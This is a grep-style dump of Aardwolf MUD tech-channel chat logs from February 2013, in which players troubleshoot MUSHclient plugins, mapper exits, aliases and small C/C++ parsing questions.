T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: did that mean turn that check box off or keep it on?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: it's just a plugin, take the whole Sharptracker205g.xml file and put it in the folder with the rest of them.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that should be ticked, Loshai, it means it needs to be on
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: ok so TICK means enabled?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah, it means there's a tick or check in the box
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Daloran Tech: 1. Cut a hole in the box. 2. put a tick in that boxxxx.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Tech: Laughing Airmeith snickers with Daloran about their shared secret.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: You cannot set up a aliase that pushes the attrib and total into game
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: says unknown command
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: manual type though it sends
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: wtf?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: are you still trying to work wiht Sharptracker?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Ontuct Tech: World Trade Federation?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: just finishing learning it
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: you have to type manually  #sendtotal to sent to your group
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: all you need to do is install the plugin into mush
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yes, you do
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: i was trying to set up an alias reportall, that sound send it auto 
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: Doesnt work that way i see.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Laughing Airmeith Tech: not easily, no
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: still pretty neat.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: any suggestions for good plugins for mush?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Mokg Tech: S&D
T3/r7/2013-02-14.txt.gz:{chan ch=tech}RedRain Tech: winklewinkle, mendaloth, bast
T3/r7/2013-02-14.txt.gz:{chan ch=tech}RedRain Tech: finger those 3 players, details of plugins in finger.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: darn
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: is there a way to upgrade version of mushclient?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: Line   15
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: Plugin requires MUSHclient version 4.76 or above (Cannot load)
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Thunderous Norton Tech: visit the mushclient website
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Thunderous Norton Tech: you can download versions there
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Loshai Tech: didnt know if there was a way to within mush itself thanks
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Bast Tech: why aren't you using the mushclient that was designed for aardwolf from the homepage?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Arystul Tech: anyone have any experience with chromebooks?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Does anyone know why ifstream >> char[] freaks at a Chinese character, and converts a space to a newline?
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Oh, hmm, it converts any space to a newline...
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Hanslanda Tech: chinese is a unicode system, and your client probably doesn't support it well.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Or that.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: No, I'm not talking about MUDs, Hanslanda. I'm trying to parse a UTF-8 file.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: C++.
T3/r7/2013-02-14.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Yeah, it seems to convert spaces even on ASCII-only lines to \n.
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: is there an easy way to check for an empty variable in c?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Tharnin Tech: Define 'empty.'
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Hanslanda Tech: think so, but it's so old and long ago I can't remember how.
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: trying to have scanf only accept 2 character input. so i want to check and make sure there is no 3rd character
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Kilirith Tech: Is there anyone using MUSHclient, AND Windows 8? If so, do you have trouble pasting things into the command box?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Remarto Tech: no
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Nuanse Tech: no problems
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Remarto Tech: windows 8 sucks, but thats not one of its problems
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Kilirith Tech: OK, well I have had reports that using Windows 8, it is impossible to paste things into the command window, however this is not a problem for you, correct?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Tech: Remarto nods.
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Nuanse Tech: correct
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Kilirith Tech: thank you
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: traceroute 216.81.59.173 - do it!
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cizra Tech: Some ISP got blackholed?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Jaenelle Tech: Today I discovered that notepad++ has a color theme called "hello kitty" :P
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Tech: Tequila & Zhalt convulses as he shudders in disgust.
T3/r7/2013-02-15.txt.gz:{chan ch=tech}The River Styx Tech: you should let Fanto know
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Loshai Tech: do you have to copy each repop area's annoucement for the repoper to work?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Trachx Tech: that depends on what 'repoper' is, there is GMCP info after repop
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: howcome the mapper cexit delete command is disabled?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: or is that someting i did?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Kelvar Tech: any ideas why my health/mana/... bars dont load if i close aardmush without quitting mud by quit command and then reconnecting?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Ontuct Tech: I always right click the room and delete change exit
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Redryn Tech: isn't it mapper delete cexits?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: other way around
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Kelvar Tech: same for stats window
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: having same issues to delete cexits
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: im strugling to make a cexit through longer aliases like land of legends, could somebody please help me with this? or ddo i have it wrong?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: are you doubling the semi-colons?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: if i've set it up he go funcion just says There was 1 match which I could not find a path to within 300 rooms:
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: what am i doing wrong?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You don't have the cexit, obviously
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Ontuct Tech: maze in the middle?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: hmm
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Now, as per my first question. Are you doubling the semi-colons.
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: i have it but at the goto number in s%d doesnt say anything
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: cexits works fine through portals but not as soon as i start putting ;
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: portals wich means area portals
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Daloran Tech: need to use ;;
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: always do
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: anyone here who could help me with cexits with s&d?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Ixle Tech: Stands to reason since you were already getting help here with them.
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Cornor Cerashor Tech: still not getting the answers im looking for
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Tigernuts Tech: anyone know how you go about sorting out a printer that prints colors darker than true?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: does the printer have an ink-saturation setting?
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Tigernuts Tech: don't think so, the print quality is fine (it' a color laser) but the colors don't match the hues on the original
T3/r7/2013-02-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a color laser printer will never have significantly good color accuracy
T3/r7/2013-02-15.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in this case, however, define "true"
T3/r7/2013-02-15.txt.gz:{chan ch=tech}Mokg Tech: most high end printers(like xerox) have their own computer attached just to match color.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Lodd Tech: whenever I use the bigmap commandputty crashes.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Lodd Tech: just thought I would report that
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Wolfe Tech: What would be the exact syntax in MUSH to toggle a trigger with an alias? Anyone know? I can see it's something to do with enabletrigger
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Dar Tech: if the gmcp mapper fails an integrity check (god knows why it did) where do I get a new mapper plugin then?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Dar Tech: or do I need to delete the whole mushclient?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: try to remove the plugin then add it again
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Redryn Tech: try and replace the aardwolf.db with a backup
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Dar Tech: don't have a backup :(
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Vakieh Tech: Find the name of your default mcl file (usually 'aardwolf.mcl') and delete the corresponding .db file. If you have a lot invested in the map you can grab a backup from the backups folder and rename it to what the old one was called.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Dar Tech: that I know of?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Vakieh Tech: Once deleted, restart mushclient and a new, valid db will be created for you
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Kelvar Tech: any ubuntu/wine wiz's on?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: no whiz, but it's not unfamiliar
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Dar Tech: ok, nothing was working, so deleted the mushclient folder entirely.......downloaded a new aardmush......and on first load, the db failed....any ideas?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Trachx Tech: antivirus
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Dar Tech: ?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Trachx Tech: either you have problem with antivirus or lack of it
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Trachx Tech: though you could also have problem with hardware
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Trachx Tech: OTOH you should have problems also with other apps
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nice, emacs has a text editor now
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Arnica Tech: AardMush lost my ascii map miniwin, can't remember how to restore it.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: first I'd try moving miniwindows around or right-click send to back to see if  it's just behind another window
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: then I'd go to file -> plugins, select aardwolf_ascii_mapper and click reinstall
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: if neither of those bring it back, type "resetaard"
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Arnica Tech: Thanks. I will look at the plugin situation.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Arnica Tech: I had already run the reset. Reinstalling the plugin worked. Thanks for your input, as always.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Mushambo Tech: Can anyone recommend a reliable/not expensive web hosting company? For a handful of personal/business sites, pretty basic...do need to run Wordpress though
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Curi Tech: does anyone know the commandline command to make bast's updater plugin hide itself?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Curi Tech: anyone?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Is there any way to change the way libnotify works on Ubuntu 12.04, or notify-send?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Short of compiling my own patched version.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is anyone tech savvy here using windows 8?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I need the location of the hidden virtual store
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Sobeit Tech: why do I keep getting this error when I get eq out of bags?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Sobeit Tech: Trigger function "invmon" not found or had a previous error.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: reload the equipment plugin to clear it
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because it had a previous error
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you should report the error it had
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Sobeit Tech: I have it copied, where do I put it?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: it should be one of bast's plugins, but he has a couple which perform that task
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: you'd report it to bast
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Sobeit Tech: board personal
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: any techy people around 
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: depends
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Eutychus Tech: Depends on the issue.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: depends on your question
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: anyone familiar with s/d winkle
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: usually better to just ask the question
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: getting this command when adding plugin, as follows
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: nope
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: scriping error, called by ; immediate execution
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: scripting error
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: and i get this message on the game screen, as follows
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: Line  358
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: Error parsing script (Cannot load)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sounds like there was an error parsing the script and it can't load
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: man you got skills fiendish
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: ;P
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: lol i agree with fiendish
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: i just dont know what that means
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: google ?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which word don't you understand? I'll look it up for you
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: there's probably a misplaced semicolon or something, either on line 358 or before that
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Elkore Tech: is this a fresh copy of mushclient? fresh copy of s&d? have you loaded other plugins along with winklewinkles?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: can't figure out more than that without a stack traceback
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: misplaced semicolon in lua would be pretty dumb, because lua doesn't require semicolons
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: I updated my mush to the latest, it accepted a few other like sharptracker
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at The Jerk Fiendish, in complete agreement.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: or something, Fiendish.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I don't code lua
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: i cant get semicolon to work at all actually
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: like to smile i ahve to do this ;)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish smirks.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: looks like a semicolon to me
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: should have to double-semicolon to do that
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: lol :P
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ;; -> ;
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: so how do i fix that or can i
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: semicolon is Mush's default command separator
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: MUSHclient by default uses ; as a command separator. You're probably safer not changing this behavior.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: learn to live with that.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but it can be changed
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: it can, but then you might have to edit lots of scripts that you want to install
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: i just changed command stacking from : to 
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: AH I can do it now
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: from what to what?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish snickers softly.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: from the other one lol
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: Remarto smirks.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Loshai: let me know if anything fails from doing that
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: cant do the other one now
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yep
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Loshai: I assume you are using the aardwolf mushclient package and not just the download from mushclient.com?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: world properties, input, commands, command stacking 
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes yes. we know where it is. it's just not 100% safe to change it if you want scripts written by other people to work
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because someone might be using it in an unsafe way without knowing
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (of course a good user like yourself would report any related bugs to the author)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: looks like sharptrack wont work 
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: going back
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: lol
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: not particularly surprised by that
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you should let bast know
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: sharptracker isn't Bast, is it?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: nope
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: isn't it? oh
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well whoever wrote it
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Laughing Airmeith Tech: or has he taken over maintaining it?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: so i suppose we arent at a resolution to the original problem
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Bast Tech: no, I haven't taken it over, although my StatDB and StatMonitor plugins do the same things as SharpTracker
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: try a reinstall
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: done that twice.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: I moved it from desktop into plugin, then opened mush and added from plugin
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Bast Tech: redownload it, you probably have a corrupt copy
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: so ive done it both ways
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: done that twice too.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: or replaced file twice
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: dont use it :P
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Bast Tech: did you redownload it, or just replace it with the copy already downloaded?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: bast pst
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i'm having trouble referencing an alias inside of an alias using mush
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Remarto Tech: what have you got the alias sending to
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: send to execute or send to script and call Execute
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: send to execute did the trick, thanks fiendish
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: also, what's the mush command to do a local echo?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: depends on what language you're using
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: last option in "Display" menu
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there is the lua print command. also MUSHclient has standard Tell, Note, ColourTell, and ColourNote
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for those you'll need to send to script
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i guess i don't know what language i'm using, i'm just wanting to add on something to the end of the aliases I use telling me what exits/portals/whatever i'm using to get where i'm going
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: that way if something changes, i know where it might be broke
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: aardwolf mushclient uses lua by default
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: understood, so to use the print command, is it just print (stuff) ?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: just use echo if you want to echo something...
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: echo comes with lag
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: doesn't it?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: well then, that sounds like a pretty easy way to use it
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: but it comes with putting the output where you'd expect it, rather than before everything
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: echo will come with a roundtrip to the server
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: bast you still around
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Bast Tech: yes
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: which is irrelevant as the server uses set intervals which are MUCH greater than that
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Loshai Tech: gui loaded correctly, but the other 2 didnt
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I think it's saner to use a print for this
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: right, but if i want to echo "Clan Portal -> Clan Exit (Place) -> Place
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Bast Tech: gui? other two? I only heard you were running sharptracker, what else are you talking about?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: and i want that to show up after i've arrived
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh, you want it to show up after you arrive?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: you really shouldn't be using those types of aliases at all...and print cannot do it after you've arrived
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: (well, can't do it after you've arrived without some trickery)
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: seems like i'd have to toss in a delay of some kind
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: let the mapper do its job
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Scars: what are you actually trying to do?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i am all to aware that using the mapper would be a better approach
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: months back when cmud died on me, i was using aliases to take me to areas, using portals, clan exits, whatever... i always wished i had it set up to tell me what exactly i had told it to do
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: it will
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: i'm setting up aliases on mush to do the same, and while i'm at it, i was going to have it remind me of the plan i had the alias take
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: type "mapper where <roomID>" will tell you the steps the mapper will take to get there
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: so the mapper already handles all that debugging that you're interested in
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: but the mapper does not have my true current exploration
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: nor does your aliases
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: so that's not relevant in the least
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: by the time you've put in an alias, you'd also have told the mapper
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: when i looked into this before, it SEEMED like it would be more work
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it might be, but not that much more
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and possibly less if you get comfortable with it
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: suppose that's fair
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyway, making a script wait until you arrive somewhere *can* be done, but it requires a bit of trickery
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: but the mapper's "work" has more-lasting benefits...an area moves, you just walk by the exit to it once
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in this case Abelinc is actually correct, using echo would give you the intended result
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: alright... *sigh* here we go
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: echo at the end after the portal commands are sent to the mud, and the mud will do them and then echo afterward
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: the part of the mapper that i felt was the most work was getting the portals to be used
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: because one of the nice things about the aliases i had was that i could just program in the level check for when that would be an issue
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mapper portals have level checks
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: the mapper knows about level checks, and automatically knows your tier as well
T3/r7/2013-02-16.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Hosch has a good guide on how to set up the trickier elements of portal behavior
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: Exactly.
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: well, here we go then, i have about 20 minutes to burn on this
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: hosch's guide is a good walkthrough of simple-to-complex, where you start with a "just do this" and then think about more things until he ends with a pretty good abstract alias
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: and it's linked from fiendish's page on the mapper on fiendish's site
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Scars Tech: doesn't this essentially just turn all of my aliases into mapper goto roomid?
T3/r7/2013-02-16.txt.gz:{chan ch=tech}Tech: no
